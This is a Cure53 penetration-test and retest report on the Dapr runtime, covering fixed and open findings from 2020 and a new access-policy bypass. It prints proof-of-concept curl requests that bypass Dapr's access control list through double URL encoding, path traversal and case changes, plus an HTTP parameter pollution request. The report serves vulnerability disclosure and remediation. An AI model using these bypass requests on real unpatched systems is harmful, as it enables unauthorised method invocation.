Fine penetration tests for fine websites

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Pentest- & Retest-Report Dapr 02.2021

Cure53, Dr.-Ing. M. Heiderich, Dipl.-Inf. G. Kopf & other Team Members

Index

Introduction

“Dapr is a portable, event-driven runtime that makes it easy for developers to build resilient, microservice stateless and stateful applications that run on the cloud and edge and embraces the diversity of languages and developer frameworks.”

From https://dapr.io/#about

This report continues a security-driven cooperation between Cure53 and Dapr, reporting on the findings of a penetration test and source code audit against the Dapr software. In addition to shedding light on the state of security on some new features of Dapr, the report also highlights what has been done in terms of fixing the issues that Cure53 revealed on the scope back in June 2020.

It should be clarified that Dapr is a distributed application runtime for cloud and edge deployments. In this context, the work was requested by Microsoft and carried out by Cure53 in late January and early February 2021. As noted, this test is a follow-up to the project reported as *DAP-01,* which was a large-scale and comprehensive security examination. Back in June 2020, the budget of twenty days was invested.

Comparatively, a smaller number of allocated days - namely eight days - was needed for this 2021 assessment. The focus of *DAP-02* was solidly on the ‘delta’, meaning additions introduced since the summer, as well as the changes stemming from fixes expected as a

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

way to rectify past security mistakes. In effect, three work packages (WPs) were delineated:

- **WP1**: Thorough source code audit of the latest Dapr version
- **WP2**: Penetration tests targeting the Dapr integration and setup
- **WP3**: Retesting of issues spotted in June 2020.

To enable swift progress and expected coverage of the ‘delta’, Cure53 could leverage access to sources, which are available on GitHub as OSS. In addition, a dedicated environment created by the Dapr team for the testing purposes was provided. White-box methodology, just as last time, has guided the work of Cure53.

All preparations were done in January 2021, namely in CW03, indicating that Cure53 could have a smooth start in CW04. Communications during the test were done using a dedicated channel on the Discord server run by the Dapr team. This is a shift from Gitter, which was used in the past. Nevertheless, all discussions were to the point, especially as the scope was clear and no roadblocks transpired. Frequent status updates were issued by the testers to Dapr.

The Cure53 team managed to get very good coverage over the WP1-3 scope items and spotted only one new finding classified as a security vulnerability. This problem, however, was given a *High* score in terms of risk because it enables an access policy bypass caused by faulty URL normalization. This issue has been fixed while the test was ongoing, the fix was verified by Cure53. The other two issues included in this report basically summarize the status of the issues reported in *DAP-01,* with elaborate notes on what has been done and what still needs attention.

The report will now present the scope and test setup as well as the material available for testing. Next, three tickets - one new finding and two collections of past vulnerabilities and weaknesses - follow. The report will then close with a conclusion in which Cure53 will elaborate on the general impressions gained throughout this test, including also a longer-term perspective on the security premise that the Dapr application runtime for cloud and edge deployments has exposed over time.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Scope

- **Penetration-tests and audits of the latest version of Dapr**
  - **WP1**: Thorough source code audits of the latest version of Dapr, in particular, new features selected by Dapr
    - Special focus was placed on *app-api* token implementation
    - Special focus was placed on Access Control List / Policy implementations
    - Special focus was placed on local environment variable for secret storage
  - **WP2**: Penetration tests against Dapr integration & setup
    - A Kubernetes cluster running *pythonapp & nodeapp* among Dapr pods was provided for Cure53
  - **WP3:** Retest of issues spotted during the first audit in June 2020 which were not marked as solved then.
    - The *DAP-01* report was used as a foundation for this work package, alongside the updated sources shared shortly before the audit
  - **Test-supporting material was made available for Cure53**
  - **All relevant sources were made available for Cure53**

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Identified Vulnerabilities

The following sections list both vulnerabilities and implementation issues spotted during the testing period. Note that findings are listed in chronological order rather than by their degree of severity and impact. The aforementioned severity rank is simply given in brackets following the title heading for each vulnerability. Each vulnerability is additionally given a unique identifier (e.g. *DAP-02-001*) for the purpose of facilitating any future follow-up correspondence.

DAP-02-001 WP3: Status of vulnerabilities from previous code audit *(Low)*

This ticket is a collection of all unfixed vulnerabilities that were identified as part of the initial code audit carried out in July 2020. From the analysis of the provided source code repository and setup, it is evident that several vulnerabilities have not been addressed accordingly, while others received proper attention.

DAP-01-003 WP1: HTTP Parameter Pollution through invocation *(Low)*

Status: Open

During a review of the previously reported vulnerability, it was noticed that the HTTP Parameter Pollution is still possible, as demonstrated via the Proof-of-Concept (PoC) below.

PoC:

```
/tmp # ./curl -d "{"data":{"orderId":"1"}}" -i -H 'dapr-api-token:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.ey' -X POST
http://localhost:3500/v1.0/invoke/nodeapp/method/neworder%3fparam1=123

HTTP/1.1 200 OK
Server: fasthttp
Date: Tue, 02 Feb 2021 15:42:17 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 16
X-Powered-By: Express
Etag: W/"10-c4FhL+rINWgSkONrjpnvnOpaOJk"
Connection: keep-alive
Traceparent: 00-53e244593434e2261810e5939accf0a4-be1bb536a907cfef-00

request accepted
```

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

DAP-01-004 WP1: Sidecar injector API exposes sensitive client certificates *(High)*

Status: Fixed

The side-injector admission controller no longer allows retrieving sensitive client certificates and now properly enforces authentication for the 'mutate' endpoint. This issue has been fixed as part of pull request 1819[1].

DAP-01-008 WP2: Dapr allows extraction of Kubernetes secrets by default *(High)*

Status: Fixed

As pointed out by Dapr, the scope of Kubernetes secrets can be limited using configuration options[2] [3]. Therefore, this issue is considered *Fixed*.

DAP-01-010 WP2: Invocation of out-of-scope topic handlers of PubSub *(Info)*

Status: Out-of-scope

This issue has been declared out-of-scope during the first test. Thus, it was not covered by the retest.

DAP-01-012 WP2: Missing authentication from Dapr API to application *(Medium)*

Status: Fixed

The endpoint of the deployed test app, stored inside */app/app.js*, has changed from */order* to */neworder*. However, the newly deployed app and API endpoint now enforce the *dapr-api-token* and prevent unauthenticated API calls effectively.

[1] https://github.com/dapr/dapr/pull/1989
[2] https://v1-rc3.docs.dapr.io/developing-applications/building-blocks/secrets/secrets-scopes/
[3] https://v1-rc3.docs.dapr.io/operations/configuration/secret-scope/

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

DAP-02-013 WP2: Access policy bypass due to missing URL normalization *(High)*

Manual audit of the implementation of the access policy revealed that the corresponding checks against the configured access policies were performed using string comparison without string-typing. As no URL normalization was identified on the respective code paths, dynamic tests were executed to test for common vectors that might allow to bypass the employed checks.

This led to several bypasses, which make it possible for the potential attackers to invoke arbitrary methods on applications, even though the configured access policies should deny such handling.

Affected File:
dapr/pkg/config/configuration.go

Affected Code:

```
func IsOperationAllowedByAccessControlPolicy(..., inputOperation string, …)
…
       return isActionAllowed(action), actionPolicy
}

func isActionAllowed(action string) bool {
              return strings.EqualFold(action, AllowAccess)
}
```

PoC:

The following HTTP requests demonstrate that accessing the */neworder* API of *nodeapp* is prohibited by the configured access control list.

```
/app # /tmp/curl -XPOST
http://localhost:3500/v1.0/invoke/nodeapp/method/neworder -H 'dapr-api-token:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.ey'
{"errorCode":"ERR_DIRECT_INVOKE","message":"fail to invoke, id: nodeapp, err:
rpc error: code = PermissionDenied desc = access control policy has denied
access to appid: pythonapp operation: neworder verb: POST"}
```

The following PoCs all demonstrate various ways to bypass the employed access control list which is supposed to block access to the */neworder* API of *nodeapp*.

```
/app # /tmp/curl -XPOST
http://localhost:3500/v1.0/invoke/nodeapp/method/neworde%2572 -H 'dapr-api-
token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.ey'
request accepted
```

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

```
/app # /tmp/curl --path-as-is -XPOST  http://localhost:3500/v1.0/invoke/nodeapp/
method/neworder/../neworder -H 'dapr-api-token:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.ey'
request accepted

/app # /tmp/curl --path-as-is -XPOST  http://localhost:3500/v1.0/invoke/nodeapp/
method/../neworder -H 'dapr-api-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.ey'
request accepted

/app # /tmp/curl --path-as-is -XPOST  http://localhost:3500/v1.0/invoke/nodeapp/
method/newOrdeR -H 'dapr-api-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.ey'
request accepted
```

It is recommended to apply URL normalization and employ case-insensitive comparison in order to eliminate the risk of potential access control list bypasses.

Fix note: *This issue was reported to the Dapr maintainers during the audit. It was mitigated by adding URL normalization[4] using the purell[5] package. This mitigated the issues described above. Further, a cursory inspection of the implementation revealed no inherent weaknesses.*

[4] https://github.com/dapr/dapr/pull/2768
[5] https://github.com/PuerkitoBio/purell

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Miscellaneous Issues

This section covers those noteworthy findings that did not lead to an exploit but might aid an attacker in achieving their malicious goals in the future. Most of these results are vulnerable code snippets that did not provide an easy way to be called. Conclusively, while a vulnerability is present, an exploit might not always be possible.

DAP-02-002 WP3: Status of miscellaneous issues from previous audit *(Low)*

This ticket is a collection of all miscellaneous issues that were identified as part of the initial code audit carried out in July 2020. From the analysis of the provided source code repository and setup, it is evident that the several flaws have not been addressed accordingly, while one received adequate attention.

DAP-01-001 WP1: Sidecar allows MDNS probes to docker network *(Info)*

Status: Open

The referred code was refactored and renamed from *servicediscovery* to *nameresolution* in pull request 1713[6]. However, access to the Dapr sidecar still eventually gives attackers the ability to resolve docker MDNS network addresses, permitting probes for the presence of specific services in the Docker network.

DAP-01-007 WP2: HTTP Parameter Pollution in Azure SignalR binding *(Info)*

Status: Open

During a review of the previously reported HTTP Parameter Pollution inside the Azure SignalR binding, it was noticed that the code has not changed and the function *resolveAPIURL()* still failed to perform any sort of parameter sanitization.

DAP-01-009 WP2: Potential DoS via RetryPolicy of state components *(Medium)*

Status: Fixed

The *retry* feature of the state API has been removed from the Dapr software complex, as visible within the pull request 1862[7].

DAP-01-011 WP2: HTTP Parameter Pollution in Hashicorp secret vault *(Low)*

Status: Open

While reviewing the Dapr source code, it was noticed that the HTTP parameter pollution inside the Hashicorp vault code is still possible. The function in question still does not perform any sort of parameter sanitization when creating the secret URL.

[6] https://github.com/dapr/dapr/pull/1713
[7] https://github.com/dapr/dapr/pull/1862

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Conclusions

This security assessment of the Dapr complex proceeded over two parallel yet distinct stages. While the Cure53 team spent eight days in total on examining two aspects of Dapr in February 2021, the first area specifically concerned retesting issues spotted back in June 2020, while the second stage enveloped completely new observations and findings. Those two phases will now be discussed separately.

During the retest of the findings identified during the June 2020 audit, it was found that multiple security-related issues were not addressed properly. However, it should be taken into account that all major problems - categorized as *High* risks - were indeed tackled and confirmed as *fixed.* Given that only some of the lower-severity issues are left, this can be seen as a satisfactory state. The general code quality left a good impression on the testing team, just as before with the first assessment in 2020. Since the overall system security heavily depends on a correct configuration of the user's software components, Dapr should ponder an enforcement of a more secure-by-default design. This could be achieved by applying a *deny-all* policy and similar strategies.

Moving on to the current Dapr software and deployment, it needs to be underlined that several new, additional features have been incorporated to Dapr since the summer of 2020. Those were in focus in this testing interaction and, in particular, concern the Dapr *app-api token*, access control and secrets store within *environment* variables. Cure53 did not spot any issues while reviewing the *app-api token* functionality, however, it is important to point out that using the same *app-api token* across multiple applications renders the *app-api token* useless in case one application is compromised. The access control mechanism has shown some severe weaknesses. Cure53 demonstrated that bypassing access control lists is possible and can signify that invoking certain functions is infeasible. The identified issues were reported to the customer and not only fixed but also verified as addressed by Cure53 as part of the ongoing testing cycle.

To conclude, the Dapr project makes a positive impression on the whole. Important issues from the last examination have been addressed, with only lower-severity findings remaining. It is, however, evident that Dapr is evolving rapidly yet not many new findings emerged. The impressions gained by the test teams during this early 2021 examination are positive. The Dapr project is on the right track regarding security.

Cure53 would like to thank the Dapr & Microsoft teams for their excellent project coordination, support and assistance, both before and during this assignment.